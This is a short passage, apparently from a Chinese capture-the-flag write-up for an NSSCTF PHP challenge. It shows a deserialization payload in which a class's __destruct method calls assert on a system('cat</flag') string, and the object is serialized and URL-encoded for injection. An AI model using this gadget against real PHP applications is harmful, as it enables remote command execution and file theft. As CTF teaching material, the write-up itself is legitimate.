需要使用自己的包装函数来将这些结构用作可变函数。 我们正常构造assert: <?phpclass lyh{public $url = 'NSSCTF.com';public $lt = 'assert';public $lly = 'system("cat</flag");';function __destruct(){$a = $this->lt;$a($this->lly);}}$b = new lyh();echo urlencode(serialize($b));...